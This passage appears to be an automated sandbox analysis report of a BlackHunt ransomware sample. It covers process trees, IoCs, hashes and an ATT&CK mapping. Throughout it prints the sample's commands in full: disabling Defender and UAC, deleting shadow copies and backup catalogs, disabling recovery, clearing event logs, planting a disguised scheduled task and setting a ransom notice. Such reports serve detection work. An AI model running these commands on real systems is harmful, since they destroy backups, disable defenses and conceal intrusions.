3300 wrote to memory of 836 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 124 PID 3300 wrote to memory of 688 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 126 PID 3300 wrote to memory of 688 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 126 PID 3180 wrote to memory of 4416 3180 cmd.exe 128 PID 3180 wrote to memory of 4416 3180 cmd.exe 128 PID 3300 wrote to memory of 816 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 129 PID 3300 wrote to memory of 816 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 129 PID 4428 wrote to memory of 4508 4428 cmd.exe 131 PID 4428 wrote to memory of 4508 4428 cmd.exe 131 PID 212 wrote to memory of 2684 212 cmd.exe 132 PID 212 wrote to memory of 2684 212 cmd.exe 132 PID 2644 wrote to memory of 1616 2644 cmd.exe 133 PID 2644 wrote to memory of 1616 2644 cmd.exe 133 PID 3300 wrote to memory of 1724 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 135 PID 3300 wrote to memory of 1724 3300 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe 135 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe"C:\Users\Admin\AppData\Local\Temp\674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3300 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3828 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:4708
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:536
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:3452
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4792 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:3020
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4912 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:4904
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3120 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4140
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4372 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:224
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:392 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵PID:316
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1248 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:4048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:5060
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:1152
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2536 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:4968
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3180 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:4416
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:212 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2684
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2644 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:1616
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4428 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:4508
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:836
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:4052
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:688
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:4176
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:816
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:4092
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:4484
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2840
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1724
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2636
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:892
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:636
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:3692
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:4780
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2940
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:664
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2800
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2268
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:4872
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:4116
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2680
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2420
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:4860
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:4380
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:4452
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1764
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:4712
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:544
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1904
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe" /F2⤵
- Suspicious use of WriteProcessMemory
PID:536 -
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe" /F3⤵
- Creates scheduled task(s)
PID:1564
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:3808
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3860
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2244
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:4492
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1096
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
- Suspicious use of WriteProcessMemory
PID:5060
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:456
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2980
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵
- Modifies Windows Defender Real-time Protection settings
PID:316 -
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1004
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2828
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3328
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:4312
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2920
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:860
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:5216
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2780
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:5944
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:5104
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:9052
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:15132
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:8184
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:15240
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:15364
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:15268
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:15836
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:15576
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:15504
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:15636
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:16000
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:15752
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:15952
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:15852
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:16252
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:15900
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:8608
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:7040
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:7492
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:14208
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:16304
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:7220
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:16264
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:9012
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:6956
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:16336
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:5904
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:17684
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:11476
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:6960
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:11480
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:6852
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:13480
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:18100
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:6272
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:6844
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:8228
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:14488
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:7136
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:13764
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:13156
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:13988
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:8244
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\674100b112a57c82021dd570de56b9f999168d363b703912bff0062d4fdf1924.exe"2⤵PID:3480
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:7636
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵
- Checks computer location settings
- Modifies registry class
PID:1208 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵PID:13524
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13524 -s 14484⤵
- Program crash
PID:16748
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2288
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2680
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:13296
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:18128
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 13524 -ip 135241⤵PID:15148
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
12KB
MD56a0cebe75e5584677459c4cc3bd52343
SHA1d51479b4c9bc04ed15859b0a7df2bced8daa58f8
SHA2565e5376ea293b1e9210133e207b66088c89acd04be4733efac58ae87f27d4eee5
SHA512dbb5c05253dd117c13f9d1b0bf52ca960f62d85e488911ba633a1f47771e7ab901d529bdcc8cf12833d8f4af1b4b4fc631ef043c30eeaa06aaf96130ce57667d
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Filesize
684B
MD51c28d1f294eec6c04d97d011117d9dd1
SHA1dbbedbf758b38bba0691072722845a6fcd7cbddc
SHA256cf35f83839f8fb80dc713119f2e38f36cb0894b7d3db0a16d6f9a7719fb57603
SHA5120c40a509e9882655fa6dc049cb8b0e3278d15d7ab9cafaf2b6f1c62b45cc0d6d88ebfaf6353eb8eef7d16bf74576aff1807f7d2f5d6212ae295b8a76f5e0470e